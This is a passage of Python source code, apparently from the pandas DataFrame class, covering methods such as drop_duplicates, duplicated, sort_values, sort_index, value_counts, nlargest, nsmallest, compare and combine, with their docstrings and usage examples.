mask = count >= thresh
elif how == "any":
# faster equivalent to 'agg_obj.count(agg_axis) == self.shape[agg_axis]'
mask = notna(agg_obj).all(axis=agg_axis, bool_only=False)
elif how == "all":
# faster equivalent to 'agg_obj.count(agg_axis) > 0'
mask = notna(agg_obj).any(axis=agg_axis, bool_only=False)
else:
if how is not None:
raise ValueError(f"invalid how option: {how}")
else:
raise TypeError("must specify how or thresh")
if np.all(mask):
result = self.copy()
else:
result = self.loc(axis=axis)[mask]
if inplace:
self._update_inplace(result)
else:
return result
@deprecate_nonkeyword_arguments(version=None, allowed_args=["self", "subset"])
def drop_duplicates(
self,
subset: Hashable | Sequence[Hashable] | None = None,
keep: Literal["first"] | Literal["last"] | Literal[False] = "first",
inplace: bool = False,
ignore_index: bool = False,
) -> DataFrame | None:
"""
Return DataFrame with duplicate rows removed.
Considering certain columns is optional. Indexes, including time indexes
are ignored.
Parameters
----------
subset : column label or sequence of labels, optional
Only consider certain columns for identifying duplicates, by
default use all of the columns.
keep : {'first', 'last', False}, default 'first'
Determines which duplicates (if any) to keep.
- ``first`` : Drop duplicates except for the first occurrence.
- ``last`` : Drop duplicates except for the last occurrence.
- False : Drop all duplicates.
inplace : bool, default False
Whether to drop duplicates in place or to return a copy.
ignore_index : bool, default False
If True, the resulting axis will be labeled 0, 1, …, n - 1.
.. versionadded:: 1.0.0
Returns
-------
DataFrame or None
DataFrame with duplicates removed or None if ``inplace=True``.
See Also
--------
DataFrame.value_counts: Count unique combinations of columns.
Examples
--------
Consider dataset containing ramen rating.
>>> df = pd.DataFrame({
... 'brand': ['Yum Yum', 'Yum Yum', 'Indomie', 'Indomie', 'Indomie'],
... 'style': ['cup', 'cup', 'cup', 'pack', 'pack'],
... 'rating': [4, 4, 3.5, 15, 5]
... })
>>> df
brand style rating
0 Yum Yum cup 4.0
1 Yum Yum cup 4.0
2 Indomie cup 3.5
3 Indomie pack 15.0
4 Indomie pack 5.0
By default, it removes duplicate rows based on all columns.
>>> df.drop_duplicates()
brand style rating
0 Yum Yum cup 4.0
2 Indomie cup 3.5
3 Indomie pack 15.0
4 Indomie pack 5.0
To remove duplicates on specific column(s), use ``subset``.
>>> df.drop_duplicates(subset=['brand'])
brand style rating
0 Yum Yum cup 4.0
2 Indomie cup 3.5
To remove duplicates and keep last occurrences, use ``keep``.
>>> df.drop_duplicates(subset=['brand', 'style'], keep='last')
brand style rating
1 Yum Yum cup 4.0
2 Indomie cup 3.5
4 Indomie pack 5.0
"""
if self.empty:
return self.copy()
inplace = validate_bool_kwarg(inplace, "inplace")
ignore_index = validate_bool_kwarg(ignore_index, "ignore_index")
duplicated = self.duplicated(subset, keep=keep)
result = self[-duplicated]
if ignore_index:
result.index = default_index(len(result))
if inplace:
self._update_inplace(result)
return None
else:
return result
def duplicated(
self,
subset: Hashable | Sequence[Hashable] | None = None,
keep: Literal["first"] | Literal["last"] | Literal[False] = "first",
) -> Series:
"""
Return boolean Series denoting duplicate rows.
Considering certain columns is optional.
Parameters
----------
subset : column label or sequence of labels, optional
Only consider certain columns for identifying duplicates, by
default use all of the columns.
keep : {'first', 'last', False}, default 'first'
Determines which duplicates (if any) to mark.
- ``first`` : Mark duplicates as ``True`` except for the first occurrence.
- ``last`` : Mark duplicates as ``True`` except for the last occurrence.
- False : Mark all duplicates as ``True``.
Returns
-------
Series
Boolean series for each duplicated rows.
See Also
--------
Index.duplicated : Equivalent method on index.
Series.duplicated : Equivalent method on Series.
Series.drop_duplicates : Remove duplicate values from Series.
DataFrame.drop_duplicates : Remove duplicate values from DataFrame.
Examples
--------
Consider dataset containing ramen rating.
>>> df = pd.DataFrame({
... 'brand': ['Yum Yum', 'Yum Yum', 'Indomie', 'Indomie', 'Indomie'],
... 'style': ['cup', 'cup', 'cup', 'pack', 'pack'],
... 'rating': [4, 4, 3.5, 15, 5]
... })
>>> df
brand style rating
0 Yum Yum cup 4.0
1 Yum Yum cup 4.0
2 Indomie cup 3.5
3 Indomie pack 15.0
4 Indomie pack 5.0
By default, for each set of duplicated values, the first occurrence
is set on False and all others on True.
>>> df.duplicated()
0 False
1 True
2 False
3 False
4 False
dtype: bool
By using 'last', the last occurrence of each set of duplicated values
is set on False and all others on True.
>>> df.duplicated(keep='last')
0 True
1 False
2 False
3 False
4 False
dtype: bool
By setting ``keep`` on False, all duplicates are True.
>>> df.duplicated(keep=False)
0 True
1 True
2 False
3 False
4 False
dtype: bool
To find duplicates on specific column(s), use ``subset``.
>>> df.duplicated(subset=['brand'])
0 False
1 True
2 False
3 True
4 True
dtype: bool
"""
if self.empty:
return self._constructor_sliced(dtype=bool)
def f(vals) -> tuple[np.ndarray, int]:
labels, shape = algorithms.factorize(vals, size_hint=len(self))
return labels.astype("i8", copy=False), len(shape)
if subset is None:
# https://github.com/pandas-dev/pandas/issues/28770
# Incompatible types in assignment (expression has type "Index", variable
# has type "Sequence[Any]")
subset = self.columns # type: ignore[assignment]
elif (
not np.iterable(subset)
or isinstance(subset, str)
or isinstance(subset, tuple)
and subset in self.columns
):
subset = (subset,)
# needed for mypy since can't narrow types using np.iterable
subset = cast(Sequence, subset)
# Verify all columns in subset exist in the queried dataframe
# Otherwise, raise a KeyError, same as if you try to __getitem__ with a
# key that doesn't exist.
diff = Index(subset).difference(self.columns)
if not diff.empty:
raise KeyError(diff)
vals = (col.values for name, col in self.items() if name in subset)
labels, shape = map(list, zip(*map(f, vals)))
ids = get_group_index(
labels,
# error: Argument 1 to "tuple" has incompatible type "List[_T]";
# expected "Iterable[int]"
tuple(shape), # type: ignore[arg-type]
sort=False,
xnull=False,
)
result = self._constructor_sliced(duplicated(ids, keep), index=self.index)
return result.__finalize__(self, method="duplicated")
# ----------------------------------------------------------------------
# Sorting
# TODO: Just move the sort_values doc here.
@deprecate_nonkeyword_arguments(version=None, allowed_args=["self", "by"])
@Substitution(**_shared_doc_kwargs)
@Appender(NDFrame.sort_values.__doc__)
# error: Signature of "sort_values" incompatible with supertype "NDFrame"
def sort_values( # type: ignore[override]
self,
by,
axis: Axis = 0,
ascending=True,
inplace: bool = False,
kind: str = "quicksort",
na_position: str = "last",
ignore_index: bool = False,
key: ValueKeyFunc = None,
):
inplace = validate_bool_kwarg(inplace, "inplace")
axis = self._get_axis_number(axis)
ascending = validate_ascending(ascending)
if not isinstance(by, list):
by = [by]
if is_sequence(ascending) and len(by) != len(ascending):
raise ValueError(
f"Length of ascending ({len(ascending)}) != length of by ({len(by)})"
)
if len(by) > 1:
keys = [self._get_label_or_level_values(x, axis=axis) for x in by]
# need to rewrap columns in Series to apply key function
if key is not None:
# error: List comprehension has incompatible type List[Series];
# expected List[ndarray]
keys = [
Series(k, name=name) # type: ignore[misc]
for (k, name) in zip(keys, by)
]
indexer = lexsort_indexer(
keys, orders=ascending, na_position=na_position, key=key
)
elif len(by):
# len(by) == 1
by = by[0]
k = self._get_label_or_level_values(by, axis=axis)
# need to rewrap column in Series to apply key function
if key is not None:
# error: Incompatible types in assignment (expression has type
# "Series", variable has type "ndarray")
k = Series(k, name=by) # type: ignore[assignment]
if isinstance(ascending, (tuple, list)):
ascending = ascending[0]
indexer = nargsort(
k, kind=kind, ascending=ascending, na_position=na_position, key=key
)
else:
return self.copy()
new_data = self._mgr.take(
indexer, axis=self._get_block_manager_axis(axis), verify=False
)
if ignore_index:
new_data.set_axis(
self._get_block_manager_axis(axis), default_index(len(indexer))
)
result = self._constructor(new_data)
if inplace:
return self._update_inplace(result)
else:
return result.__finalize__(self, method="sort_values")
@deprecate_nonkeyword_arguments(version=None, allowed_args=["self"])
def sort_index(
self,
axis: Axis = 0,
level: Level | None = None,
ascending: bool | int | Sequence[bool | int] = True,
inplace: bool = False,
kind: str = "quicksort",
na_position: str = "last",
sort_remaining: bool = True,
ignore_index: bool = False,
key: IndexKeyFunc = None,
):
"""
Sort object by labels (along an axis).
Returns a new DataFrame sorted by label if `inplace` argument is
``False``, otherwise updates the original DataFrame and returns None.
Parameters
----------
axis : {0 or 'index', 1 or 'columns'}, default 0
The axis along which to sort. The value 0 identifies the rows,
and 1 identifies the columns.
level : int or level name or list of ints or list of level names
If not None, sort on values in specified index level(s).
ascending : bool or list-like of bools, default True
Sort ascending vs. descending. When the index is a MultiIndex the
sort direction can be controlled for each level individually.
inplace : bool, default False
If True, perform operation in-place.
kind : {'quicksort', 'mergesort', 'heapsort', 'stable'}, default 'quicksort'
Choice of sorting algorithm. See also :func:`numpy.sort` for more
information. `mergesort` and `stable` are the only stable algorithms. For
DataFrames, this option is only applied when sorting on a single
column or label.
na_position : {'first', 'last'}, default 'last'
Puts NaNs at the beginning if `first`; `last` puts NaNs at the end.
Not implemented for MultiIndex.
sort_remaining : bool, default True
If True and sorting by level and index is multilevel, sort by other
levels too (in order) after sorting by specified level.
ignore_index : bool, default False
If True, the resulting axis will be labeled 0, 1, …, n - 1.
.. versionadded:: 1.0.0
key : callable, optional
If not None, apply the key function to the index values
before sorting. This is similar to the `key` argument in the
builtin :meth:`sorted` function, with the notable difference that
this `key` function should be *vectorized*. It should expect an
``Index`` and return an ``Index`` of the same shape. For MultiIndex
inputs, the key is applied *per level*.
.. versionadded:: 1.1.0
Returns
-------
DataFrame or None
The original DataFrame sorted by the labels or None if ``inplace=True``.
See Also
--------
Series.sort_index : Sort Series by the index.
DataFrame.sort_values : Sort DataFrame by the value.
Series.sort_values : Sort Series by the value.
Examples
--------
>>> df = pd.DataFrame([1, 2, 3, 4, 5], index=[100, 29, 234, 1, 150],
... columns=['A'])
>>> df.sort_index()
A
1 4
29 2
100 1
150 5
234 3
By default, it sorts in ascending order, to sort in descending order,
use ``ascending=False``
>>> df.sort_index(ascending=False)
A
234 3
150 5
100 1
29 2
1 4
A key function can be specified which is applied to the index before
sorting. For a ``MultiIndex`` this is applied to each level separately.
>>> df = pd.DataFrame({"a": [1, 2, 3, 4]}, index=['A', 'b', 'C', 'd'])
>>> df.sort_index(key=lambda x: x.str.lower())
a
A 1
b 2
C 3
d 4
"""
return super().sort_index(
axis,
level,
ascending,
inplace,
kind,
na_position,
sort_remaining,
ignore_index,
key,
)
def value_counts(
self,
subset: Sequence[Hashable] | None = None,
normalize: bool = False,
sort: bool = True,
ascending: bool = False,
dropna: bool = True,
):
"""
Return a Series containing counts of unique rows in the DataFrame.
.. versionadded:: 1.1.0
Parameters
----------
subset : list-like, optional
Columns to use when counting unique combinations.
normalize : bool, default False
Return proportions rather than frequencies.
sort : bool, default True
Sort by frequencies.
ascending : bool, default False
Sort in ascending order.
dropna : bool, default True
Don’t include counts of rows that contain NA values.
.. versionadded:: 1.3.0
Returns
-------
Series
See Also
--------
Series.value_counts: Equivalent method on Series.
Notes
-----
The returned Series will have a MultiIndex with one level per input
column. By default, rows that contain any NA values are omitted from
the result. By default, the resulting Series will be in descending
order so that the first element is the most frequently-occurring row.
Examples
--------
>>> df = pd.DataFrame({'num_legs': [2, 4, 4, 6],
... 'num_wings': [2, 0, 0, 0]},
... index=['falcon', 'dog', 'cat', 'ant'])
>>> df
num_legs num_wings
falcon 2 2
dog 4 0
cat 4 0
ant 6 0
>>> df.value_counts()
num_legs num_wings
4 0 2
2 2 1
6 0 1
dtype: int64
>>> df.value_counts(sort=False)
num_legs num_wings
2 2 1
4 0 2
6 0 1
dtype: int64
>>> df.value_counts(ascending=True)
num_legs num_wings
2 2 1
6 0 1
4 0 2
dtype: int64
>>> df.value_counts(normalize=True)
num_legs num_wings
4 0 0.50
2 2 0.25
6 0 0.25
dtype: float64
With `dropna` set to `False` we can also count rows with NA values.
>>> df = pd.DataFrame({'first_name': ['John', 'Anne', 'John', 'Beth'],
... 'middle_name': ['Smith', pd.NA, pd.NA, 'Louise']})
>>> df
first_name middle_name
0 John Smith
1 Anne <NA>
2 John <NA>
3 Beth Louise
>>> df.value_counts()
first_name middle_name
Beth Louise 1
John Smith 1
dtype: int64
>>> df.value_counts(dropna=False)
first_name middle_name
Anne NaN 1
Beth Louise 1
John Smith 1
NaN 1
dtype: int64
"""
if subset is None:
subset = self.columns.tolist()
counts = self.groupby(subset, dropna=dropna).grouper.size()
if sort:
counts = counts.sort_values(ascending=ascending)
if normalize:
counts /= counts.sum()
# Force MultiIndex for single column
if len(subset) == 1:
counts.index = MultiIndex.from_arrays(
[counts.index], names=[counts.index.name]
)
return counts
def nlargest(self, n: int, columns: IndexLabel, keep: str = "first") -> DataFrame:
"""
Return the first `n` rows ordered by `columns` in descending order.
Return the first `n` rows with the largest values in `columns`, in
descending order. The columns that are not specified are returned as
well, but not used for ordering.
This method is equivalent to
``df.sort_values(columns, ascending=False).head(n)``, but more
performant.
Parameters
----------
n : int
Number of rows to return.
columns : label or list of labels
Column label(s) to order by.
keep : {'first', 'last', 'all'}, default 'first'
Where there are duplicate values:
- ``first`` : prioritize the first occurrence(s)
- ``last`` : prioritize the last occurrence(s)
- ``all`` : do not drop any duplicates, even it means
selecting more than `n` items.
Returns
-------
DataFrame
The first `n` rows ordered by the given columns in descending
order.
See Also
--------
DataFrame.nsmallest : Return the first `n` rows ordered by `columns` in
ascending order.
DataFrame.sort_values : Sort DataFrame by the values.
DataFrame.head : Return the first `n` rows without re-ordering.
Notes
-----
This function cannot be used with all column types. For example, when
specifying columns with `object` or `category` dtypes, ``TypeError`` is
raised.
Examples
--------
>>> df = pd.DataFrame({'population': [59000000, 65000000, 434000,
... 434000, 434000, 337000, 11300,
... 11300, 11300],
... 'GDP': [1937894, 2583560 , 12011, 4520, 12128,
... 17036, 182, 38, 311],
... 'alpha-2': ["IT", "FR", "MT", "MV", "BN",
... "IS", "NR", "TV", "AI"]},
... index=["Italy", "France", "Malta",
... "Maldives", "Brunei", "Iceland",
... "Nauru", "Tuvalu", "Anguilla"])
>>> df
population GDP alpha-2
Italy 59000000 1937894 IT
France 65000000 2583560 FR
Malta 434000 12011 MT
Maldives 434000 4520 MV
Brunei 434000 12128 BN
Iceland 337000 17036 IS
Nauru 11300 182 NR
Tuvalu 11300 38 TV
Anguilla 11300 311 AI
In the following example, we will use ``nlargest`` to select the three
rows having the largest values in column "population".
>>> df.nlargest(3, 'population')
population GDP alpha-2
France 65000000 2583560 FR
Italy 59000000 1937894 IT
Malta 434000 12011 MT
When using ``keep='last'``, ties are resolved in reverse order:
>>> df.nlargest(3, 'population', keep='last')
population GDP alpha-2
France 65000000 2583560 FR
Italy 59000000 1937894 IT
Brunei 434000 12128 BN
When using ``keep='all'``, all duplicate items are maintained:
>>> df.nlargest(3, 'population', keep='all')
population GDP alpha-2
France 65000000 2583560 FR
Italy 59000000 1937894 IT
Malta 434000 12011 MT
Maldives 434000 4520 MV
Brunei 434000 12128 BN
To order by the largest values in column "population" and then "GDP",
we can specify multiple columns like in the next example.
>>> df.nlargest(3, ['population', 'GDP'])
population GDP alpha-2
France 65000000 2583560 FR
Italy 59000000 1937894 IT
Brunei 434000 12128 BN
"""
return algorithms.SelectNFrame(self, n=n, keep=keep, columns=columns).nlargest()
def nsmallest(self, n: int, columns: IndexLabel, keep: str = "first") -> DataFrame:
"""
Return the first `n` rows ordered by `columns` in ascending order.
Return the first `n` rows with the smallest values in `columns`, in
ascending order. The columns that are not specified are returned as
well, but not used for ordering.
This method is equivalent to
``df.sort_values(columns, ascending=True).head(n)``, but more
performant.
Parameters
----------
n : int
Number of items to retrieve.
columns : list or str
Column name or names to order by.
keep : {'first', 'last', 'all'}, default 'first'
Where there are duplicate values:
- ``first`` : take the first occurrence.
- ``last`` : take the last occurrence.
- ``all`` : do not drop any duplicates, even it means
selecting more than `n` items.
Returns
-------
DataFrame
See Also
--------
DataFrame.nlargest : Return the first `n` rows ordered by `columns` in
descending order.
DataFrame.sort_values : Sort DataFrame by the values.
DataFrame.head : Return the first `n` rows without re-ordering.
Examples
--------
>>> df = pd.DataFrame({'population': [59000000, 65000000, 434000,
... 434000, 434000, 337000, 337000,
... 11300, 11300],
... 'GDP': [1937894, 2583560 , 12011, 4520, 12128,
... 17036, 182, 38, 311],
... 'alpha-2': ["IT", "FR", "MT", "MV", "BN",
... "IS", "NR", "TV", "AI"]},
... index=["Italy", "France", "Malta",
... "Maldives", "Brunei", "Iceland",
... "Nauru", "Tuvalu", "Anguilla"])
>>> df
population GDP alpha-2
Italy 59000000 1937894 IT
France 65000000 2583560 FR
Malta 434000 12011 MT
Maldives 434000 4520 MV
Brunei 434000 12128 BN
Iceland 337000 17036 IS
Nauru 337000 182 NR
Tuvalu 11300 38 TV
Anguilla 11300 311 AI
In the following example, we will use ``nsmallest`` to select the
three rows having the smallest values in column "population".
>>> df.nsmallest(3, 'population')
population GDP alpha-2
Tuvalu 11300 38 TV
Anguilla 11300 311 AI
Iceland 337000 17036 IS
When using ``keep='last'``, ties are resolved in reverse order:
>>> df.nsmallest(3, 'population', keep='last')
population GDP alpha-2
Anguilla 11300 311 AI
Tuvalu 11300 38 TV
Nauru 337000 182 NR
When using ``keep='all'``, all duplicate items are maintained:
>>> df.nsmallest(3, 'population', keep='all')
population GDP alpha-2
Tuvalu 11300 38 TV
Anguilla 11300 311 AI
Iceland 337000 17036 IS
Nauru 337000 182 NR
To order by the smallest values in column "population" and then "GDP", we can
specify multiple columns like in the next example.
>>> df.nsmallest(3, ['population', 'GDP'])
population GDP alpha-2
Tuvalu 11300 38 TV
Anguilla 11300 311 AI
Nauru 337000 182 NR
"""
return algorithms.SelectNFrame(
self, n=n, keep=keep, columns=columns
).nsmallest()
@doc(
Series.swaplevel,
klass=_shared_doc_kwargs["klass"],
extra_params=dedent(
"""axis : {0 or 'index', 1 or 'columns'}, default 0
The axis to swap levels on. 0 or 'index' for row-wise, 1 or
'columns' for column-wise."""
),
examples=dedent(
"""\
Examples
--------
>>> df = pd.DataFrame(
... {"Grade": ["A", "B", "A", "C"]},
... index=[
... ["Final exam", "Final exam", "Coursework", "Coursework"],
... ["History", "Geography", "History", "Geography"],
... ["January", "February", "March", "April"],
... ],
... )
>>> df
Grade
Final exam History January A
Geography February B
Coursework History March A
Geography April C
In the following example, we will swap the levels of the indices.
Here, we will swap the levels column-wise, but levels can be swapped row-wise
in a similar manner. Note that column-wise is the default behaviour.
By not supplying any arguments for i and j, we swap the last and second to
last indices.
>>> df.swaplevel()
Grade
Final exam January History A
February Geography B
Coursework March History A
April Geography C
By supplying one argument, we can choose which index to swap the last
index with. We can for example swap the first index with the last one as
follows.
>>> df.swaplevel(0)
Grade
January History Final exam A
February Geography Final exam B
March History Coursework A
April Geography Coursework C
We can also define explicitly which indices we want to swap by supplying values
for both i and j. Here, we for example swap the first and second indices.
>>> df.swaplevel(0, 1)
Grade
History Final exam January A
Geography Final exam February B
History Coursework March A
Geography Coursework April C"""
),
)
def swaplevel(self, i: Axis = -2, j: Axis = -1, axis: Axis = 0) -> DataFrame:
result = self.copy()
axis = self._get_axis_number(axis)
if not isinstance(result._get_axis(axis), MultiIndex): # pragma: no cover
raise TypeError("Can only swap levels on a hierarchical axis.")
if axis == 0:
assert isinstance(result.index, MultiIndex)
result.index = result.index.swaplevel(i, j)
else:
assert isinstance(result.columns, MultiIndex)
result.columns = result.columns.swaplevel(i, j)
return result
def reorder_levels(self, order: Sequence[Axis], axis: Axis = 0) -> DataFrame:
"""
Rearrange index levels using input order. May not drop or duplicate levels.
Parameters
----------
order : list of int or list of str
List representing new level order. Reference level by number
(position) or by key (label).
axis : {0 or 'index', 1 or 'columns'}, default 0
Where to reorder levels.
Returns
-------
DataFrame
Examples
--------
>>> data = {
... "class": ["Mammals", "Mammals", "Reptiles"],
... "diet": ["Omnivore", "Carnivore", "Carnivore"],
... "species": ["Humans", "Dogs", "Snakes"],
... }
>>> df = pd.DataFrame(data, columns=["class", "diet", "species"])
>>> df = df.set_index(["class", "diet"])
>>> df
species
class diet
Mammals Omnivore Humans
Carnivore Dogs
Reptiles Carnivore Snakes
Let's reorder the levels of the index:
>>> df.reorder_levels(["diet", "class"])
species
diet class
Omnivore Mammals Humans
Carnivore Mammals Dogs
Reptiles Snakes
"""
axis = self._get_axis_number(axis)
if not isinstance(self._get_axis(axis), MultiIndex): # pragma: no cover
raise TypeError("Can only reorder levels on a hierarchical axis.")
result = self.copy()
if axis == 0:
assert isinstance(result.index, MultiIndex)
result.index = result.index.reorder_levels(order)
else:
assert isinstance(result.columns, MultiIndex)
result.columns = result.columns.reorder_levels(order)
return result
# ----------------------------------------------------------------------
# Arithmetic Methods
def _cmp_method(self, other, op):
axis = 1 # only relevant for Series other case
self, other = ops.align_method_FRAME(self, other, axis, flex=False, level=None)
# See GH#4537 for discussion of scalar op behavior
new_data = self._dispatch_frame_op(other, op, axis=axis)
return self._construct_result(new_data)
def _arith_method(self, other, op):
if ops.should_reindex_frame_op(self, other, op, 1, 1, None, None):
return ops.frame_arith_method_with_reindex(self, other, op)
axis = 1 # only relevant for Series other case
other = ops.maybe_prepare_scalar_for_op(other, (self.shape[axis],))
self, other = ops.align_method_FRAME(self, other, axis, flex=True, level=None)
new_data = self._dispatch_frame_op(other, op, axis=axis)
return self._construct_result(new_data)
_logical_method = _arith_method
def _dispatch_frame_op(self, right, func: Callable, axis: int | None = None):
"""
Evaluate the frame operation func(left, right) by evaluating
column-by-column, dispatching to the Series implementation.
Parameters
----------
right : scalar, Series, or DataFrame
func : arithmetic or comparison operator
axis : {None, 0, 1}
Returns
-------
DataFrame
"""
# Get the appropriate array-op to apply to each column/block's values.
array_op = ops.get_array_op(func)
right = lib.item_from_zerodim(right)
if not is_list_like(right):
# i.e. scalar, faster than checking np.ndim(right) == 0
with np.errstate(all="ignore"):
bm = self._mgr.apply(array_op, right=right)
return self._constructor(bm)
elif isinstance(right, DataFrame):
assert self.index.equals(right.index)
assert self.columns.equals(right.columns)
# TODO: The previous assertion `assert right._indexed_same(self)`
# fails in cases with empty columns reached via
# _frame_arith_method_with_reindex
# TODO operate_blockwise expects a manager of the same type
with np.errstate(all="ignore"):
bm = self._mgr.operate_blockwise(
# error: Argument 1 to "operate_blockwise" of "ArrayManager" has
# incompatible type "Union[ArrayManager, BlockManager]"; expected
# "ArrayManager"
# error: Argument 1 to "operate_blockwise" of "BlockManager" has
# incompatible type "Union[ArrayManager, BlockManager]"; expected
# "BlockManager"
right._mgr, # type: ignore[arg-type]
array_op,
)
return self._constructor(bm)
elif isinstance(right, Series) and axis == 1:
# axis=1 means we want to operate row-by-row
assert right.index.equals(self.columns)
right = right._values
# maybe_align_as_frame ensures we do not have an ndarray here
assert not isinstance(right, np.ndarray)
with np.errstate(all="ignore"):
arrays = [
array_op(_left, _right)
for _left, _right in zip(self._iter_column_arrays(), right)
]
elif isinstance(right, Series):
assert right.index.equals(self.index) # Handle other cases later
right = right._values
with np.errstate(all="ignore"):
arrays = [array_op(left, right) for left in self._iter_column_arrays()]
else:
# Remaining cases have less-obvious dispatch rules
raise NotImplementedError(right)
return type(self)._from_arrays(
arrays, self.columns, self.index, verify_integrity=False
)
def _combine_frame(self, other: DataFrame, func, fill_value=None):
# at this point we have `self._indexed_same(other)`
if fill_value is None:
# since _arith_op may be called in a loop, avoid function call
# overhead if possible by doing this check once
_arith_op = func
else:
def _arith_op(left, right):
# for the mixed_type case where we iterate over columns,
# _arith_op(left, right) is equivalent to
# left._binop(right, func, fill_value=fill_value)
left, right = ops.fill_binop(left, right, fill_value)
return func(left, right)
new_data = self._dispatch_frame_op(other, _arith_op)
return new_data
def _construct_result(self, result) -> DataFrame:
"""
Wrap the result of an arithmetic, comparison, or logical operation.
Parameters
----------
result : DataFrame
Returns
-------
DataFrame
"""
out = self._constructor(result, copy=False)
# Pin columns instead of passing to constructor for compat with
# non-unique columns case
out.columns = self.columns
out.index = self.index
return out
def __divmod__(self, other) -> tuple[DataFrame, DataFrame]:
# Naive implementation, room for optimization
div = self // other
mod = self - div * other
return div, mod
def __rdivmod__(self, other) -> tuple[DataFrame, DataFrame]:
# Naive implementation, room for optimization
div = other // self
mod = other - div * self
return div, mod
# ----------------------------------------------------------------------
# Combination-Related
@doc(
_shared_docs["compare"],
"""
Returns
-------
DataFrame
DataFrame that shows the differences stacked side by side.
The resulting index will be a MultiIndex with 'self' and 'other'
stacked alternately at the inner level.
Raises
------
ValueError
When the two DataFrames don't have identical labels or shape.
See Also
--------
Series.compare : Compare with another Series and show differences.
DataFrame.equals : Test whether two objects contain the same elements.
Notes
-----
Matching NaNs will not appear as a difference.
Can only compare identically-labeled
(i.e. same shape, identical row and column labels) DataFrames
Examples
--------
>>> df = pd.DataFrame(
... {{
... "col1": ["a", "a", "b", "b", "a"],
... "col2": [1.0, 2.0, 3.0, np.nan, 5.0],
... "col3": [1.0, 2.0, 3.0, 4.0, 5.0]
... }},
... columns=["col1", "col2", "col3"],
... )
>>> df
col1 col2 col3
0 a 1.0 1.0
1 a 2.0 2.0
2 b 3.0 3.0
3 b NaN 4.0
4 a 5.0 5.0
>>> df2 = df.copy()
>>> df2.loc[0, 'col1'] = 'c'
>>> df2.loc[2, 'col3'] = 4.0
>>> df2
col1 col2 col3
0 c 1.0 1.0
1 a 2.0 2.0
2 b 3.0 4.0
3 b NaN 4.0
4 a 5.0 5.0
Align the differences on columns
>>> df.compare(df2)
col1 col3
self other self other
0 a c NaN NaN
2 NaN NaN 3.0 4.0
Stack the differences on rows
>>> df.compare(df2, align_axis=0)
col1 col3
0 self a NaN
other c NaN
2 self NaN 3.0
other NaN 4.0
Keep the equal values
>>> df.compare(df2, keep_equal=True)
col1 col3
self other self other
0 a c 1.0 1.0
2 b b 3.0 4.0
Keep all original rows and columns
>>> df.compare(df2, keep_shape=True)
col1 col2 col3
self other self other self other
0 a c NaN NaN NaN NaN
1 NaN NaN NaN NaN NaN NaN
2 NaN NaN NaN NaN 3.0 4.0
3 NaN NaN NaN NaN NaN NaN
4 NaN NaN NaN NaN NaN NaN
Keep all original rows and columns and also all original values
>>> df.compare(df2, keep_shape=True, keep_equal=True)
col1 col2 col3
self other self other self other
0 a c 1.0 1.0 1.0 1.0
1 a a 2.0 2.0 2.0 2.0
2 b b 3.0 3.0 3.0 4.0
3 b b NaN NaN 4.0 4.0
4 a a 5.0 5.0 5.0 5.0
""",
klass=_shared_doc_kwargs["klass"],
)
def compare(
self,
other: DataFrame,
align_axis: Axis = 1,
keep_shape: bool = False,
keep_equal: bool = False,
) -> DataFrame:
return super().compare(
other=other,
align_axis=align_axis,
keep_shape=keep_shape,
keep_equal=keep_equal,
)
def combine(
self, other: DataFrame, func, fill_value=None, overwrite: bool = True
) -> DataFrame:
"""
Perform column-wise combine with another DataFrame.
Combines a DataFrame with `other` DataFrame using `func`
to element-wise combine columns. The row and column indexes of the
resulting DataFrame will be the union of the two.
Parameters
----------
other : DataFrame
The DataFrame to merge column-wise.
func : function
Function that takes two series as inputs and return a Series or a
scalar. Used to merge the two dataframes column by columns.
fill_value : scalar value, default None
The value to fill NaNs with prior to passing any column to the
merge func.
overwrite : bool, default True
If True, columns in `self` that do not exist in `other` will be
overwritten with NaNs.
Returns
-------
DataFrame
Combination of the provided DataFrames.
See Also
--------
DataFrame.combine_first : Combine two DataFrame objects and default to
non-null values in frame calling the method.
Examples
--------
Combine using a simple function that chooses the smaller column.
>>> df1 = pd.DataFrame({'A': [0, 0], 'B': [4, 4]})
>>> df2 = pd.DataFrame({'A': [1, 1], 'B': [3, 3]})
>>> take_smaller = lambda s1, s2: s1 if s1.sum() < s2.sum() else s2
>>> df1.combine(df2, take_smaller)
A B
0 0 3
1 0 3
Example using a true element-wise combine function.
>>> df1 = pd.DataFrame({'A': [5, 0], 'B': [2, 4]})
>>> df2 = pd.DataFrame({'A': [1, 1], 'B': [3, 3]})
>>> df1.combine(df2, np.minimum)
A B
0 1 2
1 0 3
Using `fill_value` fills Nones prior to passing the column to the
merge function.
>>> df1 = pd.DataFrame({'A': [0, 0], 'B': [None, 4]})
>>> df2 = pd.DataFrame({'A': [1, 1], 'B': [3, 3]})
>>> df1.combine(df2, take_smaller, fill_value=-5)
A B
0 0 -5.0
1 0 4.0
However, if the same element in both dataframes is None, that None
is preserved
>>> df1 = pd.DataFrame({'A': [0, 0], 'B': [None, 4]})
>>> df2 = pd.DataFrame({'A': [1, 1], 'B': [None, 3]})
>>> df1.combine(df2, take_smaller, fill_value=-5)
A B
0 0 -5.0
1 0 3.0
Example that demonstrates the use of `overwrite` and behavior when
the axis differ between the dataframes.
>>> df1 = pd.DataFrame({'A': [0, 0], 'B': [4, 4]})
>>> df2 = pd.DataFrame({'B': [3, 3], 'C': [-10, 1], }, index=[1, 2])
>>> df1.combine(df2, take_smaller)
A B C
0 NaN NaN NaN
1 NaN 3.0 -10.0
2 NaN 3.0 1.0
>>> df1.combine(df2, take_smaller, overwrite=False)
A B C
0 0.0 NaN NaN
1 0.0 3.0 -10.0
2 NaN 3.0 1.0
Demonstrating the preference of the passed in dataframe.
>>> df2 = pd.DataFrame({'B': [3, 3], 'C': [1, 1], }, index=[1, 2])
>>> df2.combine(df1, take_smaller)
A B C
0 0.0 NaN NaN
1 0.0 3.0 NaN
2 NaN 3.0 NaN
>>> df2.combine(df1, take_smaller, overwrite=False)
A B C
0 0.0 NaN NaN
1 0.0 3.0 1.0
2 NaN 3.0 1.0
"""
other_idxlen = len(other.index) # save for compare
this, other = self.align(other, copy=False)
new_index = this.index
if other.empty and len(new_index) == len(self.index):
return self.copy()
if self.empty and len(other) == other_idxlen:
return other.copy()
# sorts if possible
new_columns = this.columns.union(other.columns)
do_fill = fill_value is not None
result = {}
for col in new_columns:
series = this[col]
otherSeries = other[col]
this_dtype = series.dtype
other_dtype = otherSeries.dtype
this_mask = isna(series)
other_mask = isna(otherSeries)
# don't overwrite columns unnecessarily
# DO propagate if this column is not in the intersection
if not overwrite and other_mask.all():
result[col] = this[col].copy()
continue
if do_fill:
series = series.copy()
otherSeries = otherSeries.copy()
